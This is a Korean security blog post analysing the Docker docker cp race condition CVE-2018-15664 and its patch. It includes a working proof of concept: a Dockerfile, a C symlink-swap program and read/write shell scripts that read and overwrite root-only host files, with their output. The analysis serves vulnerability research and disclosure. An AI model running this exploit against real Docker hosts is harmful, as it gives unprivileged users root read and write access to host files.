Docker Race Condition Vulnerability: CVE-2018-15664

CVE
Docker
Analysis

라온화이트햇 핵심연구팀 이동현

Intro

작년에 네 명의 동료(fr0g2s, J-jaeyoung, koharin, se0g1)와 컨테이너 플랫폼, 특히 도커와 쿠버네티스에서 제로데이를 찾는 프로젝트를 진행했습니다. 선행 연구로 분석했던 원데이 중 재밌었던 것 하나를 소개하고자 합니다.

*본 문서는 CVE-2018-15664의 영향을 받는 우분투 18.04.5, 도커 18.06.1 환경에서 테스트 후 작성했습니다.

Summary

CVE-2018-15664는 SUSE의 Aleksa Sarai가 2018년 7월에 발견한 취약점입니다. 이후 1년 간 패치가 되지 않다가 2019년 5월, Aleksa Sarai가 관련 내용을 퍼블릭하게 공개한 직후 cpuguy83이라는 컨트리뷰터의 풀 리퀘스트에 의해 패치되었습니다.

There is no released Docker version with a fix for this issue at the time of writing. I’ve submitted a patch upstream which is still undergoing code review, and after discussion with them they agreed that public disclosure of the issue was reasonable

Aleksa Sarai의 글 중 일부를 발췌한 것인데, 아직 취약점에 대한 패치가 적용되지 않았지만 도커 보안팀과의 대화에서 퍼블릭하게 내용을 공개하는 것에 합의를 보았다고 합니다.

2018년 제보를 포함한 전체 메일 기록은 여기에서 볼 수 있습니다.

CVE-2018-15664는 도커 코드 중 TOCTOU(Time-of-check Time-of-use) 레이스 컨디션이 생길 수 있는 논리 흐름 때문에 발생했습니다. 이를 악용해 공격자는 루트 권한으로 호스트 파일시스템에 대해 읽기 및 쓰기가 가능합니다. 즉, 일반 유저가 도커를 이용해 루트 권한을 얻는 것입니다.

Vulnerability Details

도커 코드에는 FollowSymlinkInScope 라는 함수가 있습니다. FollowSymlinkInScope 의 역할은 주어진 경로에 대해 심볼릭 링크가 걸려있으면 최종적으로 가리키는 원본 파일의 절대 경로를 반환하는 것입니다.

반환된 경로는 컨테이너에 의해 제한된 범주를 넘어서지 않습니다. 다르게 말하면, 컨테이너 내부에서 아무리 심볼릭 링크를 따라가도 컨테이너 바깥의 파일에 다다를 수 없습니다.

이렇게 들으면 함수 자체는 안전한 것 같습니다. 그러나 이 함수를 사용하는 방식에 있어서 앞뒤 맥락까지 함께 고려한다면 TOCTOU 레이스 컨디션이 발생할 수 있다는 걸 알 수 있습니다.

도커는 FollowSymlinkInScope 를 통해 심볼릭 링크를 따라가 파일의 절대 경로를 구하고, 그로부터 “얼마 뒤에” 해당 파일을 작업에 사용합니다. 여기서 이 “얼마 뒤”에 해당하는 매우 근소한 시간차가 핵심입니다.

FollowSymlinkInScope 로부터 파일의 절대 경로를 구하고 실제로 파일이 작업에 사용되기 전의 찰나의 시간 동안 해당 파일에 심볼릭 링크를 걸어 컨테이너 바깥에 위치한 파일을 가리킨다고 합시다. 이 경우, 컨테이너가 제한한 범주를 넘어 바깥에 접근하는 것이 가능할 것이고 이때의 권한은 루트입니다. (도커는 기본적으로 루트 권한으로 돌아가기 때문입니다.)

CVE-2018-15664의 영향을 받는 도커 18.06.1의 FollowSymlinkInScope 코드는 여기에서 확인 가능합니다.

Proof of Concept

docker cp

익스플로잇에는 docker cp 명령을 사용합니다. docker cp 는 컨테이너와 로컬 파일시스템 간의 파일 및 폴더 복사를 수행합니다.

# Container -> Local Filesystem
docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|-

# Local Filesystem -> Container
docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH

도커 컨테이너의 파일은 로컬 파일시스템의 어딘가에 저장되어 관리됩니다. docker cp CONTAINER:SRC_PATH DEST_PATH 를 수행하면 실제로는 로컬 파일시스템 기준으로 /var/lib/docker/overlay2/CONTAINER_ID/merged/SRC_PATH 에 해당하는 파일이 DEST_PATH 로 복사되고, 로컬 파일시스템에서 컨테이너로 복사할 때도 마찬가지입니다.

앞에서 설명했듯 도커는 기본적으로 루트 권한으로 돌아갑니다. 따라서 docker cp 명령 시에도 루트 권한으로 복사가 수행됩니다.

Exploit

익스플로잇에 사용할 도커 이미지가 필요합니다. 아래와 같이 Dockerfile 을 구성합니다.

Dockerfile

FROM ubuntu:20.04
RUN apt-get update && apt-get install -y gcc
COPY symlink_swap.c /symlink_swap.c
RUN gcc -o /symlink_swap /symlink_swap.c
ENTRYPOINT ["/symlink_swap"]

symlink_swap.c 를 컴파일한 후 엔트리 포인트로 지정해 컨테이너 시작 시 /symlink_swap 이 실행되는 이미지입니다. symlink_swap.c 는 아래와 같습니다.

symlink_swap.c

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/stat.h>
#include <stdio.h>
#include <fcntl.h>

int main()
{
	symlink("/", "/totally_safe_path");
	mkdir("/totally_safe_path-stashed", 0755);

	while (1)
		renameat2(AT_FDCWD, "/totally_safe_path", AT_FDCWD, "/totally_safe_path-stashed", RENAME_EXCHANGE);

	return 0;
}

/totally_safe_path/ 에 링크되어 있고 /totally_safe_path-stashed 라는 이름의 디렉토리를 만든 상태에서 /totally_safe_path/totally_safe_path-stashed 간 이름 교환하기를 무한히 반복합니다. 직관적으로만 보면 아래 A와 B의 상태가 번갈아 나타나는 것입니다.

# A
lrwxrwxrwx  totally_safe_path -> /
drwxr-xr-x  totally_safe_path-stashed

# B
drwxr-xr-x  totally_safe_path
lrwxrwxrwx  totally_safe_path-stashed -> /

자, 이렇게 Dockerfilesymlink_swap.c 가 마련되었으면 루트 권한으로 호스트 파일시스템에 대해 읽기 및 쓰기를 할 준비가 되었습니다. 먼저, 읽기부터 해봅시다.

Arbitrary Read

우리의 목표는 읽기 권한이 없는 호스트 파일시스템 상의 /w00t_w00t_im_a_flag 파일에 적힌 SUCCESS -- COPIED FROM THE HOST 라는 문자열을 읽는 것입니다.

$ echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee /w00t_w00t_im_a_flag
SUCCESS -- COPIED FROM THE HOST
$ cat /w00t_w00t_im_a_flag
SUCCESS -- COPIED FROM THE HOST
$ sudo chmod 000 /w00t_w00t_im_a_flag
$ cat /w00t_w00t_im_a_flag
cat: /w00t_w00t_im_a_flag: Permission denied

아래 쉘 스크립트를 봅시다.

read.sh

#!/bin/sh

# Build and run the image.
docker build -t poc .
container_id=$(docker run --rm -d poc)

# Now continually try to copy the files.
i=0
while [ $i -lt 500 ]
do
	mkdir "ex${i}"
	docker cp "${container_id}:/totally_safe_path/w00t_w00t_im_a_flag" "ex${i}/out"
	i=$(($i + 1))
done
chmod 0644 ex*/out

앞서 준비한 Dockerfilesymlink_swap.c 를 가지고 poc라는 이름의 이미지를 생성하고 컨테이너를 실행합니다. 그리고는 docker cp 를 500번 수행합니다. 컨테이너의 /totally_safe_path/w00t_w00t_im_a_flag 를 호스트 파일시스템의 ex${i}/out 으로 복사하는 명령입니다. 명시적으로는. 컨테이너 내부에서 /symlink_swap 이 돌아가며 이름 교환하기가 무한히 반복되는 상태 임을 잊지 말아야 합니다. 이로 인해 명시적으로 적힌 명령과 실제 수행 결과가 달라집니다.

에서 언급한 A와 B 상태 중 B 상태일 때를 생각해봅시다.

# B
drwxr-xr-x  totally_safe_path
lrwxrwxrwx  totally_safe_path-stashed -> /

docker cp 명령 수행이 시작되고 컨테이너 내부 경로인 /totally_safe_path/w00t_w00t_im_a_flagFollowSymlinkInScope 함수에 전달되면 /var/lib/docker/overlay2/CONTAINER_ID/merged/totally_safe_path/w00t_w00t_im_a_flag 가 반환됩니다. 인자로 주어진 경로의 어느 곳에도 심볼릭 링크가 걸려있지 않기 때문에 /var/lib/docker/overlay2/CONTAINER_ID/merged 만 붙여 반환한 것입니다. (반환 값이 존재하지 않는 경로여도 상관없습니다. FollowSymlinkInScope 는 오직 심볼릭 링크만 신경씁니다.)

만일 FollowSymlinkInScope 함수가 끝나고 /var/lib/docker/overlay2/CONTAINER_ID/merged/totally_safe_path/w00t_w00t_im_a_flagex${i}/out 로 복사하려는 그 순간의 바로 직전에 A 상태가 된다면?

# A (Container View)
lrwxrwxrwx  totally_safe_path -> /
drwxr-xr-x  totally_safe_path-stashed

# A (Host Filesystem View)
lrwxrwxrwx  /var/lib/docker/overlay2/CONTAINER_ID/merged/totally_safe_path -> /
drwxr-xr-x  /var/lib/docker/overlay2/CONTAINER_ID/merged/totally_safe_path-stashed

/var/lib/docker/overlay2/CONTAINER_ID/merged/totally_safe_path/ 에 링크되어 있는 상태이므로 실제로 수행되는 것은 /w00t_w00t_im_a_flagex${i}/out 로 복사되는 것입니다. 도커가 가진 루트 권한으로. ex${i}/out 에 대해서는 읽기 권한을 가지고 있으므로, 결론적으로는 읽기 권한이 없는 /w00t_w00t_im_a_flag 의 내용을 읽을 수 있게 됩니다.

쉘 스크립트를 실행하고 결과를 확인하면 다음과 같습니다.

$ cat /w00t_w00t_im_a_flag
cat: /w00t_w00t_im_a_flag: Permission denied
$ ls
Dockerfile  read.sh  symlink_swap.c
$ ./read.sh  # Exploit (will take some time)
$ grep 'SUCCESS' ex*/out | wc -l
7

500번의 시도 중 7번 성공하였습니다.

Arbitrary Write

이번엔 쓰기입니다. 우리의 목표는 쓰기 권한이 없는 호스트 파일시스템 상의 /w00t_w00t_im_a_flag 파일에 SUCCESS -- HOST FILE CHANGED 라는 문자열을 쓰는 것입니다.

$ echo "FAILED -- HOST FILE UNCHANGED" | sudo tee /w00t_w00t_im_a_flag
FAILED -- HOST FILE UNCHANGED
$ sudo chmod 0444 /w00t_w00t_im_a_flag
$ echo "SUCCESS -- HOST FILE CHANGED" > /w00t_w00t_im_a_flag 
bash: /w00t_w00t_im_a_flag: Permission denied

쓰기도 읽기와 원리는 같습니다. 아래 쉘 스크립트를 봅시다.

write.sh

#!/bin/sh

# Build and run the image.
docker build -t poc .
container_id=$(docker run --rm -d poc)

echo "SUCCESS -- HOST FILE CHANGED" > localpath

# Now continually try to copy the files.
i=0
while [ $i -lt 500 ]
do
	docker cp localpath "${container_id}:/totally_safe_path/w00t_w00t_im_a_flag"
	i=$(($i + 1))
done

read.sh 에서는 docker cp 가 컨테이너에서 호스트 파일시스템으로의 복사를 명시했다면, 이번에는 호스트 파일시스템에서 컨테이너로의 복사를 명시합니다. 레이스 컨디션 공격 성공 시 localpath 파일에 적혀있는 SUCCESS -- HOST FILE CHANGED 문자열이 호스트 파일시스템의 /w00t_w00t_im_a_flag 파일에 덮어씌워질 것입니다.

이번에도 마찬가지로 B 상태로 FollowSymlinkInScope 함수가 수행되고, 실제 복사가 일어나기 직전에 A 상태가 된다면 레이스 컨디션 공격에 성공하게 됩니다.

쉘 스크립트를 실행하고 결과를 확인하면 다음과 같습니다.

$ cat /w00t_w00t_im_a_flag
FAILED -- HOST FILE UNCHANGED
$ echo "SUCCESS -- HOST FILE CHANGED" > /w00t_w00t_im_a_flag
bash: /w00t_w00t_im_a_flag: Permission denied
$ ls
Dockerfile  symlink_swap.c  write.sh
$ ./write.sh  # Exploit (will take some time)
$ cat /w00t_w00t_im_a_flag
SUCCESS -- HOST FILE CHANGED

쓰기 권한이 없는 호스트 파일시스템의 /w00t_w00t_im_a_flag 에 성공적으로 문자열을 덮어썼습니다.

Patch

패치를 이해하기 위해서는 크게 두 가지를 알아야 합니다.

  1. docker cp 의 상세 메커니즘
  2. chroot 개념

상세 메커니즘이라고는 했지만, 하나만 알고 넘어가면 됩니다. docker cp 명령 수행 시 SRC_PATH 에 해당하는 파일 혹은 폴더를 tar 압축 후 DEST_PATHuntar 하여 복사합니다.

chroot 는 change root directory로, 말 그대로 루트 디렉토리 / 를 바꿉니다. 특정 프로세스(+자식 프로세스)의 루트 디렉토리를 주어진 경로로 바꾸는 명령입니다. 직관적 이해를 돕기 위한 리눅스에서의 chroot 명령 사용 예는 다음과 같습니다.

$ pwd
/
$ ls
bin   cdrom  etc   initrd.img      jail  lib64       media  opt   root  sbin  srv       sys  usr  vmlinuz
boot  dev    home  initrd.img.old  lib   lost+found  mnt    proc  run   snap  swapfile  tmp  var  vmlinuz.old
$ tree jail
jail
├── bin
│   ├── ls
│   └── sh
├── IM_IN_JAIL
├── lib
│   ├── libc.so.6
│   ├── libdl.so.2
│   ├── libpcre.so.3
│   ├── libpthread.so.0
│   └── libselinux.so.1
└── lib64
    └── ld-linux-x86-64.so.2

3 directories, 9 files
$ sudo chroot jail /bin/sh
# pwd
/
# ls
IM_IN_JAIL  bin  lib  lib64
# cd /
# ls
IM_IN_JAIL  bin  lib  lib64
# cd ../../../../../../
# ls
IM_IN_JAIL  bin  lib  lib64

jail 디렉토리 내에 shls 바이너리와 이에 필요한 라이브러리들을 미리 옮겨두었습니다. jail 디렉토리로 chroot 한 후 루트 디렉토리가 바뀌어 jail 의 상위 디렉토리에 접근하지 못하는 것을 확인할 수 있습니다.

필요한 지식은 이만하면 됐고, 이제 패치 내용을 알아봅시다. 아래는 패치에 해당하는 풀 리퀘스트 제목입니다.

/assets/2021-04-01/CVE_title.png (https://github.com/moby/moby/pull/39292)

감이 오나요? 글자 그대로 읽어보면 tar, untar 시에 chroot 하라는 것입니다. 어디로? 컨테이너 루트로.

앞서 언급하였듯이, docker cp 명령 수행 시 SRC_PATH 에 해당하는 파일 혹은 폴더를 tar 압축 후 DEST_PATHuntar 하여 복사합니다. 위 PoC에서 레이스 컨디션 공격이 가능했던 건 FollowSymlinkInScope 함수가 끝나고 실제 복사가 수행되기 전에 심볼링 링크를 컨테이너 루트의 상위에 해당하는 호스트 파일시스템 루트로 걸었기 때문입니다. 그 후 심볼링 링크를 따라가 호스트 파일시스템에 위치한 파일이나 폴더에 대해 tar , untar 를 수행하여 복사하였고, 이것이 익스플로잇을 가능하게 한 지점입니다.

패치를 하고 나서는 docker cp 에서 tar , untar 수행 시 컨테이너 루트로 chroot 를 한 채로 수행하게 만들었기 때문에 컨테이너 루트의 상위 디렉토리로 연결된 심볼릭 링크가 불가능하게 됩니다. 레이스 컨디션의 발생과 무관하게, 공격으로 이어질 수 있는 길을 원천 봉쇄한 셈입니다.

What’s Next

얼핏 보면 패치가 잘 된 것 같습니다. 적어도 CVE-2018-15664를 통한 공격은 더 이상 유효하지 않습니다. 그러나 정말로 ‘잘’ 된 패치라고 할 수 있을까요? 사실, 그건 아닙니다.

패치 코드를 보면, docker cp 에서 tar 수행 시 컨테이너 루트로의 chroot 를 위해 docker-tar 라는 헬퍼 바이너리를 추가했습니다. 도커 데몬이 docker-tar 를 포크하고 실행함으로써 chroot 된 프로세스에서 작업이 수행되고, 작업이 끝나면 데몬에게 tar 파일을 넘기도록 말입니다. (docker-untar 는 패치 전부터 존재하였기에 완전히 새로 추가된 docker-tar 와는 다르게 일부 코드만 수정되었습니다.)

여기서 이 새로 추가한 docker-tar 가 문제가 됩니다.

도커는 Go로 작성된 프로그램입니다. Go 1.11에서는 내장형 C 코드(cgo)를 포함하는 몇몇 패키지가 런타임에 공유 라이브러리를 동적으로 로드합니다. Go 1.11로 컴파일된 버전의 도커에도 적용되는 이야기인데, docker-tar 가 사용하는 netos/user 패키지가 이에 해당합니다. 정상적인 경우에는 라이브러리가 호스트 파일시스템으로부터 로드 될텐데, docker-tar 는 컨테이너 루트로 chroot 된 상태이기 때문에 호스트 파일시스템이 아닌 컨테이너에서 라이브러리를 찾아 로드합니다.

라이브러리를 호스트 파일시스템이 아닌 컨테이너에서 찾아 로드한다니, 라이브러리 조작을 통해 docker-tar 에 코드를 삽입하기 딱 좋습니다. 게다가 docker-tar는 cgroups나 seccomp에 의한 어떠한 제한도 받지 않은 채 모든 루트 권한을 가진 호스트 네임스페이스에서 돌아갑니다. 완전한 컨테이너 탈출이 가능한 조건입니다.

By chrooting into the container’s root, docker-tar ensures all symlinks will be effectively resolved under it. Unfortunately, chrooting into the container opened the way for an even more severe issue when copying files from a container.

위 내용은 팔로알토 네트웍스의 Yuval Avrahami가 작성한 에서 발췌한 것입니다. docker-tar 는 심볼릭 링크 관련 보안 이슈를 해결하였지만, 훨씬 크리티컬한 보안 문제를 야기하였다고 말합니다.

패치 실수로 더 큰 취약점을 유발했다는 점이 참 재밌는 것 같습니다. CVE-2018-15664의 온전하지 못한 패치로 인해 발생한 컨테이너 탈출 취약점이 궁금하다면 CVE-2019-14271을 알아보세요. 기회가 있다면 관련 내용을 추후 포스트로 작성하겠습니다.

P.S. 수정 사항, 보충 사항은 dominic2009@snu.ac.kr로 제보바랍니다.

References

https://seclists.org/oss-sec/2019/q2/131

https://bugzilla.suse.com/show_bug.cgi?id=1096726

https://github.com/moby/moby/pull/39292

https://kccncna19.sched.com/event/d229f00f143036f7c488144e604f91ea/